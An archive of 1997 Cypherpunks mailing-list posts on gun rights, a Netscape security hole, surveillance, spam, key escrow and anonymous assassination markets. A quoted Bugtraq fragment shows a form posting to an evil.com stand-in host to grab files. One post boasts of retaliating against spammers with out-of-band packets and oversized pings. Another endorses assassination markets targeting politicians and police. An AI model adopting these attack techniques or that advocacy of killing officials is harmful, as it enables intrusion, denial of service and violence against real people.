>>>prohibiting the free exercise thereof; or abridging the freedom of
>>>speech, or of the press; or the right of the people peaceably to
>>>assemble, and to petition the Government for a redress of grievances. 
>>
>>>                           Amendment II
>>
>>>A well regulated Militia, being necessary to the security of a free
>>>State, the right of the people to keep and bear Arms, shall not be
>>>infringed. 
>>
>>Which part of "shall not be infringed" don't you understand Kent??  

>I understand that part almost perfectly, I daresay.  It's the rest of 
>the sentence that is subject to various interpretations.

>The wording of the second amendment is strange, and I have read several
>highly opinionated pieces about what it means.  I also read relevant
>sections of the Federalist/Anti-Federalist papers.

>First of all, consider what it does not say.  It does *not* say 
>"Congress shall make no law" -- meaning therefore that congress *can* 
>make laws, as long as the rest of the sentence is observed.

>It does *not* say "the right of an *individual* to keep and bear arms 
>shall not be infringed.  It says "the people", a collective term.  It 
>references a *well-regulated* militia.

>Furthermore, this amendment was derived from input from two states (I 
>don't have the documents handy, or I would tell you exactly). There are
>caveats in both of the documents, referring to such things  as "public
>safety".  The founding fathers were quite aware that it  isn't necessary
>to allow criminals to carry guns at all times.

>Therefore my interpretation is that according to the constitution, there
>is a broad right for the population to own guns, but that right is
>fundamentally justified through "the security of a free State".  Use of
>arms contrary to the security of the state is not justified through the
>second amendment, nor does the second amendment prohibit congress or the
>states from controlling such unjustified use of arms.

>Thus, the police can take guns away from common thiefs without fear of a
>constitutional challenge.  And states, cities, and other  governmental
>agencies can regulate arms for the public good, which may  mean that
>certain individuals can't own weapons, or that certain kinds  of weapons
>can be proscribed.

>Here's an analogy -- imagine a hypothetical addition to the Bill of 
>Rights, amendment -1:

>                           Amendment -1

>A healthy economy, being necessary to the security of a free State, the
>right of the people to engage in business, shall not be infringed.

>The key is the "engage in business" clause.  Engaging in business
>implicitly involves a set of rules of the game.  Inforcing those rules,
>or modifying them in light of new circumstances (eg invention of the
>telephone) is not the same as "infringing". 

Well Kent we must be reading from two different dictionaries:

infringe: to encroach upon in a way that violates law or the rights of
another

encroach: to enter by gradual steps or by stelth into the possessions or
rights of another.

By the above definition this is exactly what the government has been doing
with it's ever increasing restictions on the possesions of guns by it's
citizens and what the founding fathers wished to posses. If they had
wanted the government to have the power to control and regulate the
ownership of guns then they would have said so.

The Bill of Rights were not added to the Constitution to give the
government more power but to restrict their power.

The whole purpose of the 2nd Amendment was to provide a final check &
balance on the government. Our founding fathers were all too aware that it
was manditory that the population must be well armed inorder preserve
their freedom against an unjust government.

An unarmed people are just so much sheep waiting for the slaughter.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6OP+I9Co1n+aLhhAQEc5AP/V4UM7o91yxhaESIiDtU+Br17EhKWIAKZ
npLBf5C6fhrnztmyK1EMoCrDk5MWPWPKebdlJcdLcqmjrRokqly5UmbqtYYYOs0p
dAK9YUYDLOztYbgKydn1eXNGW75pi7vp4YTuZhIanAc8nvuLJH7TToObvea7Usb9
qenezNBkKho=
=15WI
-----END PGP SIGNATURE-----






From rwright at adnetsol.com  Sun Jun 15 00:19:41 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Sun, 15 Jun 1997 15:19:41 +0800
Subject: Impact of Netscape kernel hole
Message-ID: <199706150714.AAA23115@adnetsol.adnetsol.com>



On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:

> week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.

Saw this post to Cypherpunks.  I hate to sound less than savvy, but I 
use 2.02.  You guys are gonna help us who refuse to upgrade, right.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From lucifer at dhp.com  Sun Jun 15 00:29:39 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 15:29:39 +0800
Subject: Netscape Update
Message-ID: <199706150718.DAA28831@dhp.com>



Robert Hettinga wrote:
 
> All this reminds me of something Tim May, Eric Hughes, and others have said
> before. Once you've gotten to the point where loss of security equals, in a
> very literal sense, loss of money, the incentive to publicize any given
> security hole starts to go away.

  The Netscape PR department is no doubt preparing to spin the "bug fix"
into a "major update." 

  The fact of the matter is, the software does exactly what it was
designed to do. The fact that those who are "out of the loop" found out
how to use that designed feature does not make it a "bug."
  When the list got spammed with email from 10,000 Laker fans named
"Bubba," I blasted plaidworks.com for their rudeness in trying to place
all the blame on "hackers" when the fact was that they left their system
wide open to abuse for the sake of convenience and profit.
  Similarly, the government and corporations want systems designed to
allow them access to all available information passing through the
internet system and then cry "abuse" or "security bug" when individuals
discover how to use the design to their advantage.

  Calling the Netscape feature a "bug" merely serves to draw attention
away from the fact that the software was intentionally designed in order
to facilitate snooping (ala Clipper chip?) and that indicates that there
have been people who have known how to take advantage of the feature
since its implementation.
  Do the people who instituted the design and development of this 
snooping feature all have "Good Guy" stamped on their forhead? Sure
they do...

TruthMonger






From tomw at netscape.com  Sun Jun 15 01:22:38 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sun, 15 Jun 1997 16:22:38 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <199706150714.AAA23115@adnetsol.adnetsol.com>
Message-ID: <33A3A4AC.192E128A@netscape.com>



Ross Wright wrote:
> 
> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
> 
> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
> 
> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
> use 2.02.  You guys are gonna help us who refuse to upgrade, right.

Sorry, but we don't have any plans to respin 2.x at this time.  If we
get enough requests for it, it might be possible to change our mind,
though.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From lucifer at dhp.com  Sun Jun 15 01:27:52 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 16:27:52 +0800
Subject: We need more surveillance--a morality play about terrorism
Message-ID: <199706150817.EAA32172@dhp.com>



Tim May wrote:
> I've been watching an HBO movie, "Path to Paradise," about the bombing of
> the World Trade Center in February 1993. It's quite well-done, as most HBO
> movies of this sort are.
> 
> However, it is fairly heavy on a propaganda message which may give some
> insights into the likely changes in political freedoms in the United
> States.
> In short, a morality play about the hazards of letting people plot their
> crimes without proper surveillance.
> 
> Not to sound conspiratorial, I suspect that this changed climate is
> consistent with the views of the FBI and White House, and that HBO is
> playing some role (unofficially, of course, and maybe not even consciously)
> in this new emphasis.

  The movies have long been a source of propaganda for LEA's of all
types and descriptions, as well as the military.
  You want co-operation? You want to get bargin rates on access to
city (or military) facilities, streets, vehicles, etc? If so, then
you'd better be prepared to present an "acceptable" script to those
who make the decisions.
  The military and LEA's know that they are in a position to save
movie producers millions of dollars through their co-operation and
producers know that an acceptable script is the ante that may well
make the difference between their movie being produced or canned.

  Cop shows are the rage on TV at present, and if you can find 
a major force of real-life cops that call everyone "Sir" and treat
them like humans, I'll kiss your ass, but that's what we see on
the Tube, anyway. It would cost a fucking fortune to produce a
similar show which reflected the reality of how LEA's treat the
citizens.
  I have a friend who was casting director for "Miami Vice" and
I recall her telling me at an early point in the series that they
were being forced, for financial reasons, to "clean up" the scripts
so as to make the cops more sympathetic and reputable characters.

  Face it, we live in TV World. We didn't get an actor as our
President by "accident."  We elect "sound bytes" and "charisma."
We elect "plausible deniability" and "non-smoking guns."
  We are sold fear and violence both as news and entertainment,
and we "buy" it as our reality. Then our fear is used to sell
us products such as loss of privacy and freedom.
  This is the consumer age, and it is driven by advertising and
profit. In the Media Age the marketing term "find a need and
fill it" has become "_create_ a need and fill it."
  There's big money in fear and violence.

TruthMonger







From tomw at netscape.com  Sun Jun 15 01:36:51 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sun, 15 Jun 1997 16:36:51 +0800
Subject: Netscape Exploit
In-Reply-To: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>
Message-ID: <33A3A827.5E05965@netscape.com>



Lucky Green wrote:
> 
> >Approved-By: aleph1 at UNDERGROUND.ORG
> >Date:  Sat, 14 Jun 1997 19:21:30 -0500
> >Reply-To: root 
> >Sender: Bugtraq List 
> >From: root 
> >Subject:      Netscape Exploit
> >To: BUGTRAQ at NETSPACE.ORG
> >
> >Here is a sample it isn't complete but you get the basic idea of what
> is
> >going on
> >Evil-DOT-COM Homepage
> >
> >
> > >       NAME="daForm"
> >       ACTION="http://evil.com/cgi-bin/formmail.pl"
> >       METHOD=POST>
> >
> >
> >

Yeah, that's pretty cool.  Too bad it doesn't work.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From tomw at netscape.com  Sun Jun 15 01:38:08 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sun, 15 Jun 1997 16:38:08 +0800
Subject: e$: Skins vs. Shirts
In-Reply-To: 
Message-ID: <33A3A71E.C86780C6@netscape.com>



Robert Hettinga wrote:
> 
> Adam, above, is speculating about the mechanics of a Netscape security
> hole, which, two years ago, would have gotten someone like Ian
> Goldberg a grand and a t-shirt, but probably only after they had
> published it on the net, just like Mssrs Goldberg and Wagner had to
> do, in order to get Netscape's attention. That included directions for
> how to replicate the problem. Back then, we wouldn't have been
> speculating about the mechanics of the hole, because people would be
> playing with it to see how it worked.  As it is, latest hole was
> published in terms of its results only, and not its mechanics.
> Instead, those precious details were relased only to Netscape, and
> only for, NPR says, "an undisclosed sum".

Just to be clear, we didn't give the blackmailer any money.  As Mike
Homer put it: "We don't bargain with terrorists."

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From lucifer at dhp.com  Sun Jun 15 03:30:31 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 15 Jun 1997 18:30:31 +0800
Subject: Netscape Exploit
Message-ID: <199706151017.GAA04407@dhp.com>



Tom Weinstein wrote: 
> Lucky Green wrote:
> >
> > >Here is a sample it isn't complete but you get the basic idea of what
> > is
> > >going on
> > >Evil-DOT-COM Homepage
...

> Yeah, that's pretty cool.  Too bad it doesn't work.

  If you wanted a version that works you should have checked out the
RCMP site that one of the Truth Mongers (or spin-offs) pointed to on
the list a while back. It had a nifty bit of code which showed you
the contents of your own hard drive and grabbed a copy for their own
use.
  There was also a site on sympatico.ca which had the same code, only
the link read "Click here to read the Whitehouse hard drive." If you
followed further links on the site some would take a long time to load
and if you paid attention you could guess that your hard drive was being
accessed. I turned a friend onto the files I saved from the sites and
I assume he hacked at least one of them to get the executables that 
they were running since he bought me a case of Budweiser for sharing 
the information with him.

  I have noticed in surfing a variety of hacker URLs that sometimes it
takes an awfully long time to load what turns out to be a fairly simple
screen and there is invariably a lot of disk activity going on in these
instances. I don't worry about what may be taking place since I bought
a used computer specifically for internet cruising so I can enjoy myself
instead of fretting about security issues.
  I put a lot of files and directories on my hard drive with names like
"Offthepigs" and "assass.plot" and cruised around the RCMP site from an
anonymous account. I used the name of a local cop as the ostensible
owner of the machine and author of the files. (I _do_ hope they were
paying attention!)

  There was an article on computer security on the RCMP site which spoke
quite openly about the potential of technology in general and remailers
in specific for mounting sting operations. (I will try to dig up the
URL for it and pass it along. It should be in the list archives too.)

~~~~~~~~~
Not a cop
~~~~~~~~~






From dformosa at st.nepean.uws.edu.au  Sun Jun 15 03:49:02 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 15 Jun 1997 18:49:02 +0800
Subject: Netscape Update
In-Reply-To: <199706150718.DAA28831@dhp.com>
Message-ID: 



On Sun, 15 Jun 1997, lucifer Anonymous Remailer wrote:

[...]

>   Similarly, the government and corporations want systems designed to
> allow them access to all available information passing through the
> internet system and then cry "abuse" or "security bug" when individuals
> discover how to use the design to their advantage.

I don't beleave in this case that it was a intentional feature.  For one
thing if I was creating such a trapdoor in my program, I would make use of
some sort of public key system so that only I could access it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From paul at fatmans.demon.co.uk  Sun Jun 15 04:01:21 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 15 Jun 1997 19:01:21 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614125040.32767.qmail@squirrel.owl.de>
Message-ID: 




> Are you proposing the President can't choose who he meets?  Whether
> such a meeting is called a "press conference" is irrelevant.

The president is an employee of the people, therefore the people decide 
what the president does and when he does it.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From junger at upaya.multiverse.com  Sun Jun 15 04:38:17 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Sun, 15 Jun 1997 19:38:17 +0800
Subject: e$: Skins vs. Shirts
In-Reply-To: <33A3A71E.C86780C6@netscape.com>
Message-ID: <199706151132.HAA21332@upaya.multiverse.com>



Tom Weinstein writes:

: Just to be clear, we didn't give the blackmailer any money.  As Mike
: Homer put it: "We don't bargain with terrorists."

It is be really quite nice in Aarhus this time of year.  And on the 
Eve of St. John they stay up all night dancing around the bonfires
in which they burn the Witch.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From jya at pipeline.com  Sun Jun 15 05:36:12 1997
From: jya at pipeline.com (John Young)
Date: Sun, 15 Jun 1997 20:36:12 +0800
Subject: e$: Skins vs. Shirts
Message-ID: <1.5.4.32.19970615122126.008e4e64@pop.pipeline.com>



Tom Weinstein wrote:

>Just to be clear, we didn't give the blackmailer any money.  As Mike
>Homer put it: "We don't bargain with terrorists."

That's rather inflammatory name-calling. Sounds a bit Kallstromish, no?
Surely Homer hasn't been hanging with the CT-hypers.

However, it confirms Tim's surmise that we're facing an inflation of
terrorist-spin to whatever feeds nightsweats of monsters coming to
Ballmer our babies -- of flesh, markets or surveilling features.

Still, is it any surprise to the burgeoning snoopers (prurient, commercial or 
law) that most personal computer disks are as empty of content as those 
of data banks, government, military, corporations and other XXX sites? 
They're stuffed with make-work idleness, slightly Dilberted with lonely-guy 
infowar & -love games of fantasies of what will never be. 

Recall Mitnick's find on The Well, Shimomura, the telcos and the feds -- lots
of empty data and wannabe-prattle.

In that case, the Feds and the victims conspired to script a film to make the 
nothingness seem valuable, when what they really feared that it would be 
shown to be worthless junk. 

Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.







From cmcurtin at research.megasoft.com  Sun Jun 15 06:00:32 1997
From: cmcurtin at research.megasoft.com (C Matthew Curtin)
Date: Sun, 15 Jun 1997 21:00:32 +0800
Subject: Spam Libs (Frauenfelder on HotWired)
In-Reply-To: <3.0.32.19970613120139.0074c9b4@homer.communities.com>
Message-ID: <199706151242.IAA08090@goffette.research.megasoft.com>




I'm not sure about c'punk relevance, but that doesn't seem to make
much difference these days.  Anyone interested in the previous message
is likely interested in this.

Here's (most) of a note I sent to Mark Frauenfelder.

-------------------------------- snip --------------------------------
From: C Matthew Curtin 
To: mark at wired.com 
Subject: MadSpams...SpamLibs... uh... yeah
Date: Thu, 12 Jun 97 08:43:58 EDT

*chuckle* ... that's pretty good.

Some of my favorite activities with regard to spammers:
 * giving them a nice call on the telephone.  Call collect, and then
   say that you've got something to sell them.  Read them back their
   own spam if you can get that far.
 * calling their 800 number and reading them their own spam
 * calling them to ask  if they have any idea what they're doing to the
   Internet.  The answer is invariably "no."  (Of course not, these
   are clueless parasites.)
 * signing up one spammer's autoresponder to another spammer's
   autoresponder. 
 * collecting a list of technical and administrative contacts for
   zones that are notorious about originating spam, the people who
   sell and give out their spam software, etc.  Then, every time spam
   comes in, simply bounce it to that alias, and the spammers all spam
   each other.
 * sending mail back that's politely insulting.  My favorite
   one-liner:
     "You're not a very smart man, are you?"
 * My favorite for sex-related spam:  hinting that I became aware of
   their spam after my 9 year old daughter with an email address asked
   me what "hardcore anal sex" is.  Doing this over the phone is
   great, because I can yell hysterically.  Through email is even better,
   since I can copy their ISP's contact, and that one... all the way
   to the backbone.
 * Sometimes my mail relay seems to choke on spam, and sends back a
   packet with a MSG_OOB bit sent to the host that originated the
   spam.  Gee, dunno how that happened.  Sometimes if the host stays
   up after that, it's followed by an oversized ping.  Shucks, that's
   too bad when that happens.  Maybe one day I'll track down that, uh,
   bug and ... fix it.

Of course, I always complain about every spam that hits me.  The
administrative contact of the site that is as far back as I can trace
the message, the administrative contact of the site's ISP, and that
site's ISP, all the way up to a backbone provider, or a well-known,
responsible organization.  I have a form letter for doing this, and
I've got another completely-ready-to-go letter that just needs me to
slap in the To: addresses:
   wallace at cyberpromo.com, postmaster at cyberpromo.com, postmaster at agis.net

You can guess what that one's for.

In all seriousness, I'm working on a paper for filtering spam.  I
think I've found a way to almost completely eliminate it through a
combination of router access control lists, spam-aware mail transfer
agents (MTAs), and filtering local delivery agents.  Individuals who
wish to filter beyond that can also put on filters of their own with
programs like Z-mail, Eudora, and procmail.  I'm hoping that I'll be
able to get enough people filtering the stuff out that it simply won't
work.  If it won't work, economics will dictate that the spammers go
out of business and go back to assembling chilitos at Taco Bell.

Maybe a good thing to do would be to provide a program to users for
the spam that does slip through, sort of an automated spamlib, that
parses the headers and knows where to send it... :-)

------------------------------- unsnip -------------------------------

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin at research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!   Crack DES NOW! http://www.frii.com/~rcv/deschall.htm






From paul at fatmans.demon.co.uk  Sun Jun 15 06:57:40 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 15 Jun 1997 21:57:40 +0800
Subject: Democratic Assassination
In-Reply-To: 
Message-ID: 




> This is true. Just because AP exists, doesn't immediately imply that it can
> become a tool for censorship. It was, after all, intended to be used as a
> tool to get rid of 'bad' people.
> 
> We are very good at taking tools and using them for evil purposes...to kill
> and maim one another.

True, but I don`t believe in judging crime at a collective level, just as 
free will is an individual characteristic and not specifically of a 
group, so criminality is defined at an individual level.

I have to agree that if AP were to come about, and indeed when fully 
anonymous digital assasination markets do become a reality, innocent 
people will be killed. So? I further agree that a society without 
assasination markets is safer, more peaceful etc. So? Assasination 
markets will allow the untraceable killings of hundreds of evil people 
who cannot be removed easily in any other way.
Speaking entirely hypothetically: If assasination bots were implemented, 
and I ran one, I would choose to keep a list of poloticians, DEA cops, 
censors etc. and only allow contracts on them, of course, there is 
nothing to stop anyone else running a server that accepted bets on 
anyone. I would just choose not to allow my equipment to be used for 
hiring assasins to kill innocent people. 

> So there is something that greatly disturbs me when we merge the speed and
> efficiency of technology with something as horrific as death. Indeed it has
> already been done...(lemme digress for a little while)...I remember all of
> the press conferences that were held during the Gulf War, when the United
> States military was showing off its flashy high tech toys, which allowed
> our fighters to blow things up from a very safe distance. We saved a lot of
> "the good guy's" lives that way...our troops didn't encounter much blood at
> all. But perhaps war ought not to be so clean....perhaps war should be
> brutal and messy and bloody and costly...not because blood and guts and
> horror and terror are good things, but because war is, in and of itself, a
> horrific thing...and this technology blinds us to that fact....

I agree, making war clinical and distancing ourselves from the bloody 
reality on the other side is not a good thing (tm). But, I draw your 
attention to the fact that we cannot generalise this principle to 
assasination. Normally assasination is cold and clinical for the person 
hiring the assasin anyway, and secondly, those who will kill an innocent 
person are probably too fucked up to be affected by the sight of 
suffering or death.
Also, brutal and costly wars have not affected us in the past, take WWI, 
Brusilov led an offensive that resulted in massive loss of life for 
minimal gain of territory, the many attacks of Field Marshal Sir Douglas 
Haig (A well known British tactician who always succeeded in killing as 
many of his own men as possible) particularly the first day of the Somme, 
where the British suffered 20000 dead, and gained only about 7km in 5 
months of fighting. The total dead in WWI were around 6 million, with 
around 18 million wounded.
The result of this terrible and brutal war? Anyone without the benefit of 
hindsight would call it a deterrent, a war to end all wars. But no, of 
course then there is WWII to consider. Barely 20 years later another war, 
some estimes putting the total dead at around 45 million (more 
conservatively around 37 million), the majority of these deaths were 
civilian. 
You might then say, has WWII not acted as a deterrent, we shall see, WWII 
was costly in terms of public opinion to the government in Britain 
because of the high number of civilian deaths actually occuring in 
Britain through bombings, this may act as a deterrent for government to 
venture into war lightly.


> in an
> attempt to make war "clean" with technology, we have only blinded
> ourselves...and thus war becomes a little too easy for my own liking.

I do agree, and intuitively it seems that massive loss of life and 
breaking of eggs would seem to act as a deterrent, but I don`t think it 
is quite so straightforward as all that. 

> I think there are great similarities between high-tech war and AP. Both are
> very 'tidy' ways to kill people, at great distances from unseen locations,
> without having to deal with the negative reprocussions of the act. They
> both make killing a little too clean. They both make it easy for us to
> dehumanize our targets, so that what we're killing is not really another
> human being, but some object....some nuisance that must be destroyed.

True enough, I personally do see government officials and police etc. as 
merely a nuicance to be destroyed, but I agree that dehumaizing the 
victims of a killing is not a good thing in many circumstances.

> If I kill someone with a hammer, or a gun, there is a certain level of
> commitment that I have to make. I have to deal with the dehumanization. I
> have to deal risk being caught. **I** have to do it.

Hmm, but I would say that if you are going to kill an innocent person you 
are probably not of a disposition or of a level of moral development 
where the sight of their head smashed in would deeply affect you, except 
on a temporary "freaked out" level.

> Personally, I find it would find it hard to dehumanize someone when I put a
> gun to their head and read the look of terror in their face. I would find
> it hard to commit the act, knowing that there is a manifold number of ways
> that I could be caught. Furthermore, I know I could not deal with the
> responsibility of killing someone afterwards.

Depends who you are talking about, morality based on the fear of 
punishment is first level ethical development, I will ignore this and 
just deal with the other issues.
If I were to not care about being caught, and the person I was killing 
was clearly guilty of crime (ie. a DEA agent) the look of terror in their 
face might instinctively and on a reactionary level affect me, but I 
think I could get over that by simply concentrating on the task in hand 
(dehumanising again), the responsibility of killing someone after the 
fact is no greater than that of considering your actions before, if you 
have decided in good conscience that there is conclusive proof of their 
guilt, and you are acting in self defence (and let us assume that you 
have judged accurately and are not just seeing what you want to see) then 
you can, assuming you are logical, put the act down to self defence or to 
punishment of whatever your preferred reason of the week, however, I 
presume you are not entirely logical, nor am I, and I can only say that 
emotional jabs at your conscience after the fact would just be something 
to be ignored or reasoned away.

> But AP is a nice neat solution to this. It makes killing very tidy, and
> minimizes my own responsibility. I can use it to easily fool myself into
> thinking that I'm really not resposible for killing a human

Yes, I personally do not see it this way, I think I would feel just as 
great a moral duty to justify my actions in killing someone using AP as I 
would using a gun, but a lot of people might use it to get away from the 
reality of their actions.

> Killing people is horrific and should remain that way..lest killing becomes
> a little too easy...and once killing people becomes as easy as buying a
> newspaper, who knows people will do with it. AP is way too easy for my
> liking.

Again, one cannot judge the tool itself, it has no intrinsic moral value. 
The way it is used defines it`s overall worth, this is why I believe on 
the whole AP cannot really be judged, except to say it allows removal of 
heads of state which has to be a good thing.

> My point was not that anonymous digital assasination was not possible...but
> rather, the notion of such a mechanism being democratic is incorrect. If it
> were democratic, there would be some sort of referendum...some sort of vote
> being taken...and if enough people vote no, then it wouldn't take place.

This appeals to me even less than digital contract assasinations because 
it is the law of the mob, the democratic genocide of whole groups of 
people could occur under this system, hardly an anarchic notion.

> In my mind, the notion of this mechanism being democratic was the only
> ****REMOTELY**** redeeming characteristic about this whole thing...and my
> argument is that this system isn't even democratic. To make it work, one
> doesn't need enough people and enough consenting opinions, simply enough
> resources. While the two are sometimes related, they aren't always.

I don`t think so, I agree that making the system democratic would prevent 
completely frivolous killings like someone next door neighbour or a shop 
assistant that short changed someone, but it would also lead to genocide. 
Groups of people are always looking for scapegoats, and if, as you say 
above, DAP (democratic assasination polotics) could be used to dehumanise 
genocide it would be the new MK2 gas chamber.

> >You do live in such a society, if the government decides to fuck you over
> >and manages somehow to make a muder charge stick 12 randomly selected
> >people can decide whether you live or die. If you say something unpopular
> >you can be assasinated.
> 
> This is a nasty truth.....so do I want this power expanded?

I don`t see AP as a democratic system, see my objections to this above, 
I have nearly always been more in favour of a more direct TCM type 
contract assasinations market system (I often use the term AP generically 
to sum up all assasination systems because it is easier to type quickly) 
because although it allows frivolous killings it:

A. Discourages them by making the financial penalty reasonably high as 
opposed to a couple of dollars.

B. Prevents mass genocide through democratic means.

> Now, the chances of a man in black from Washington DC to knock me off are
> relatively small, compared to the chances of a couple of bigshots around
> town arranging my murder using AP. This goes back to the point about AP
> making killing a touch too easy.

Yes, I am not trying to justify the existance of an AP type system from a 
utilitarian point of view, although I think you can justify it from a 
negative utilitarian point of view by looking at the suffering ended by 
the removal of governments, merely to point out its good features and 
remind people that it is just a tool, true, a very powerful one, and this 
leads us back to the old "personal ownership of nuclear weapons" argument, 
which I won`t go into here.

> If the government has the power to easily assassinate me for being
> unpopular, this is a bad thing....but it doesn't lead me to conclude that
> more people should have this kind of power....because I fear that rather
> than this becoming a tool to fight oppression....it will simply become a
> tool to kill people we don't like...politicians or janitors.

I too have the same fears and concerns about assasination being 
democratised in a traditional Bell style (BTW, does anyone know if Jim 
is out yet, and what is occuring with his case?, I haven`t heard 
anything for a couple of weeks) AP system and this is why in this respect 
I favour TCM type anonymous assasination contracts.

> >This is a difficult point to even contemplate as having any basis in
> >reality. Do you know any police officer (lets make that more specific
> >and say DEA inspector) who is a victim? Do you know of any possibility,
> >no matter how remote, that someone delegated the task of beating
> >confessions out of suspects is a "victim" himself?
> 
> It's a long story, and I can't go into it much without probably angering
> many people on this listserv....but the roots of this idea begin in some
> fundamental beliefs about people that I, being a committed Christian, carry
> with me. If you care to get the full sermon, lemme know and I'll send you a
> personal email.

I won`t go ask for the full sermon as I think we agree on a number of 
points and it would be a pity to get into a flame war over this (and I 
can assure you that any discussion with me, as a devout atheist, over 
religiously derived beliefs would end in a flame war).


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From rah at shipwright.com  Sun Jun 15 07:30:27 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 15 Jun 1997 22:30:27 +0800
Subject: e$: Skins vs. Shirts
In-Reply-To: <1.5.4.32.19970615122126.008e4e64@pop.pipeline.com>
Message-ID: 



At 8:21 am -0400 on 6/15/97, John Young wrote:


> ... Sounds a bit Kallstromish...
> Surely Homer hasn't been hanging with the CT-hypers.
>
> ...an inflation of
> terrorist-spin to whatever feeds nightsweats of monsters coming to
> Ballmer our babies -- of flesh, markets or surveilling features.
>
> .......slightly Dilberted with lonely-guy
> infowar & -love games of fantasies of what will never be. ...
>
> Recall Mitnick's find on The Well, Shimomura, the telcos and the feds -- lots
> of empty data and wannabe-prattle.
>
> In that case, the Feds and the victims conspired to script a film to make
>the
> nothingness seem valuable, ...
>
> Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.


Wow. I actually understood all that...

The scent of the cogs is unmistakable hereabouts.

;-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From paul at fatmans.demon.co.uk  Sun Jun 15 07:45:54 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 15 Jun 1997 22:45:54 +0800
Subject: IBM sues critics?
In-Reply-To: <199706150054.RAA05736@f23.hotmail.com>
Message-ID: 




> Can someone explain the difference between key recovery and key
> escrow?  The IBM white paper describes it at
> http://www.ibm.com/security/html/pp_global5.html in terms of
> giving a keys or a combination to your neighbors, but the
> analogy was hard to follow.

Key escrow is where your keys are held by one or more trusted and 
supposedly independent third parties, on reciept of a court order they 
would release the keys.
Key recovery is more like the clipper scheme where there was a LEAF (law 
enforcement access field) which allowed the LEA to decrypt communications.

But in the end it all comes down to GAK (government access to keys), same 
shit, different name. Forgive me if this explanation is a little hazy, I 
have a mighty hangover (still only 12:15 sunday morning here).

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From dlv at bwalk.dm.com  Sun Jun 15 08:00:39 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 15 Jun 1997 23:00:39 +0800
Subject: I love http://www.intraday.com/spam/spam/spam
Message-ID: 



It's hilarious!! Many thanks to whomever put it up

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From kent at songbird.com  Sun Jun 15 08:33:38 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 15 Jun 1997 23:33:38 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970614230152.15019@bywater.songbird.com>
